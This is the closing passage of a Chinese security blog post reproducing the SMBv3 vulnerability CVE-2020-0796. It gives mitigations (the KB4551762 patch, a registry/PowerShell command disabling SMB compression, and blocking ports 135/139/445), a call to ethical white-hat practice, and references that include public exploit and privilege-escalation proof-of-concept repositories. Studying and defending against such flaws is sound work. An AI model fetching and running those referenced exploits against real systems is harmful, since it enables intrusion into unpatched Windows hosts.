写到这里，这篇CVE-2020-0796漏洞复现的文章就介绍结束了，希望对您有所帮助。这篇文章也存在一些不足，作者没有更深入的理解其原理，也是作为网络安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。

最后补充防御方法：

  • 运行Windows更新，完成Windows10 2020年3月累积更新补丁的安装。
    操作步骤：设置->更新和安全->Windows更新，点击“检查更新”。
  • 直接下载对应补丁进行安装（KB4551762）。
    https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
  • 访问微软该漏洞官方页面，选择相应的Windows版本安全更新，独立安装该漏洞安全补丁。
    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

  • 根据BleepingComputer的说法，尽管Microsoft并未共享禁用SMBv3压缩的官方方法，但是Foregenix Solutions架构师Niall Newman在分析了Srv2.sys文件后可以通过手动修改注册表，防止被黑客远程攻击。
    (1) 在注册表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。
    (2) 在管理员模式启动PowerShell，将以下命令复制到Powershell命令行，执行即可。

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force

  • 若无业务必要，在网络安全域边界防火墙封堵文件打印和共享端口TCP 135/139/445以缓解此问题。
  • 可以通过安全厂商的漏洞检验和修复工具来检查是否存在漏洞和进行漏洞修复。

六.总结

希望这系列文章对您有所帮助，真的感觉自己技术好菜，要学的知识好多。作为初学者，我们可能有差距，不论你之前是什么方向，是什么工作，是什么学历，是大学大专中专，亦或是高中初中，只要你喜欢安全，喜欢渗透，就朝着这个目标去努力吧！有差距不可怕，我们需要的是去缩小差距，去战斗，况且这个学习的历程真的很美，安全真的有意思。但切勿去做坏事，我们需要的是白帽子，是维护我们的网络，安全路上共勉。

最后，真诚地感谢您关注“娜璋之家”公众号，也希望我的文章能陪伴你成长，希望在技术路上不断前行。文章如果对你有帮助、有感悟，就是对我最好的回报，且看且珍惜！再次感谢您的关注，也请帮忙宣传下“娜璋之家”，哈哈~初来乍到，还请多多指教。顺便说一句，今天CSDN账号的粉丝破十万了，还挺开心的。

(By: Eastmount 2020-12-30 夜于武汉 https://blog.csdn.net/Eastmount)

参考文献：

  • [1] https://github.com/danigargu/CVE-2020-0796
  • [2] https://github.com/ollypwn/SMBGhost
  • [3] https://github.com/eastmountyxz/CVE-2020-0796-SMB
  • [4] https://github.com/joaozietolie/CVE-2020-0796-Checker
  • [5] 更新 ： 公开渠道出现本地提权工具 | 微软 Windows SMBv3服务远程代码执行漏洞（CVE-2020-0796）通告 - 奇安信威胁情报中心 红雨滴团队
  • [6] 关于CVE-2020-0796 - 我要变超人
  • [7] CVE-2020-0796本地利用简析
  • [8] CVE-2020-0796蓝屏POC 漏洞复现 - Jie_Blog
  • [9] https://download.csdn.net/download/ltt440888/12255558
  • [10] CVE-2020-0796 SMBv3漏洞复现(蓝屏poc) - L0ading
  • [11] CVE-2020-0796：SMBv3的RCE漏洞，下一个EternalBlue？- NOSEC平台
  • [12] 135、137、138、139和445端口 - 谢公子大佬
  • [13] Linux文件共享服务之Samba - 谢公子大佬
  • [14] 445端口不通经验总结 - frankarmstrong
  • [15] 计划任务中使用NT AUTHORITY\SYSTEM用户和普通管理员用户有什么区别 - shangzhihaohao
  • [16] https://www.bilibili.com/video/av97457537/
  • [17] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
  • [18] CVE-2020-0796 SMBv3漏洞蓝屏复现+提权 - anlalu233
  • [19] https://github.com/ZecOps/CVE-2020-0796-LPE-POC

[系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）及防御详解相关推荐

  1. [网络安全自学篇] 六十四.Windows安全缺陷利用之SMBv3服务远程代码执行（CVE-2020-0796）复现及防御机理

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了hack the box的OpenAdmin题目,结合Nmap.Gob ...

  2. 更新 | 远程命令执行POC被公开发布：微软SMBv3服务远程代码执行漏洞（CVE-2020-0796）通告

    更新 | 远程命令执行POC被公开发布:微软SMBv3服务远程代码执行漏洞(CVE-2020-0796)通告 原创 红雨滴团队 [奇安信威胁情报中心](javascript:void(0)

  3. 【漏洞通告】微软SMBv3协议远程代码执行漏洞（CVE-2020-0796）PoC公开处置手册

    [漏洞通告]微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)

  4. 微软远程桌面服务远程代码执行漏洞

    人和管理成为主要入侵突破口 安全需要人.技术.管理的全方位保障,然而人与管理由于其复杂性,常常成为入侵突破口.在 19 年处理的安全事件中,弱口令事件占比 22%,钓鱼邮件相关事件占比 7%,配置不当 ...

  5. 9 月 19 日，腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞， 分别为： 信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615

    9 月 19 日,腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616).远程代码执行漏洞(CVE-2017-12615 ...

  6. rmi远程代码执行漏洞_【漏洞通告】Apache Solr远程代码执行漏洞

    1.综述 Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器.该产品支持层面搜索.垂直搜索.高亮显示搜索结果等. Apache Solr ...

  7. CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞

    CVE-2022-30190 https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-supp ...

  8. php post 漏洞_ThinkPHP5 5.0.23 远程代码执行漏洞

    作者介绍:Ice 国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升.本次分享主要是针对现在一款运用极广的开发框架ThinkPHP的远程代码执行漏洞研究,希望给大 ...

  9. oracle11g远程命令执行漏洞,漏洞应急|Oracle Weblogic Server远程代码执行漏洞（CVE-2021-2109）...

    近日,锐捷网络CERT安全应急响应团队关注到Oracle官方发布了2021年1月关键补丁更新公告,该补丁中修补了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多 ...

最新文章

  1. Mysql进阶(3)——读写分离（mysql-proxy）
  2. C语言数据段分类,13.2.1 段的分类
  3. 机器学习（MACHINE LEARNING）Sklearn全高级使用（看不懂你来打我！）
  4. android 中的aidl
  5. PTA浙大版python程序设计题目集--第3章-5 字符转换 (15 分)
  6. android 开发 命名规范
  7. XCTF_Web_新手练习区：simple_php
  8. Ant Design Vue页面数据复制
  9. oracle河南城建学院实验报告,数据处理实验报告
  10. Android仿58同城Loading View
  11. c语言编程中的幂函数如何编写,c语言幂函数_C语言循环与递归实现整数幂函数...
  12. FreeRTOS临界区操作
  13. 关于计算机系统的基本组成
  14. python小练习（杂七杂八）
  15. WPF 绑定继承的样式提示 只能根据带有基类型 IFrameworkInputElement 的目标类型的 Style 样式
  16. w13scan 扫描器的安装及应用
  17. 白侠机器人_白侠微信多群直播机器人，直播机器人首选
  18. 2022年R2移动式压力容器充装考试试题及答案
  19. sql 笔试题——各个视频的平均完播率
  20. 可预览的文件服务器,文件服务器 预览

热门文章

  1. Linux CENTOS6.5 图形命令互转
  2. LightOJ - 1236 (唯一分解定理)
  3. HDU 4325 离散化+树状数组 或者 不使用树状数组
  4. 洛谷1231 教辅的组成
  5. 开发中 常用 js 记录（一）
  6. Oracle--SQL技巧之二(多行记录用逗号拼接在一起)
  7. sql索引从入门到精通(十亿行数据测试报告)
  8. python 模块与包_Python 模块与包
  9. phpquery类php,一个基于phpQuery的php通用采集类分享
  10. java socket 推送机制_Java中websocket消息推送的实现代码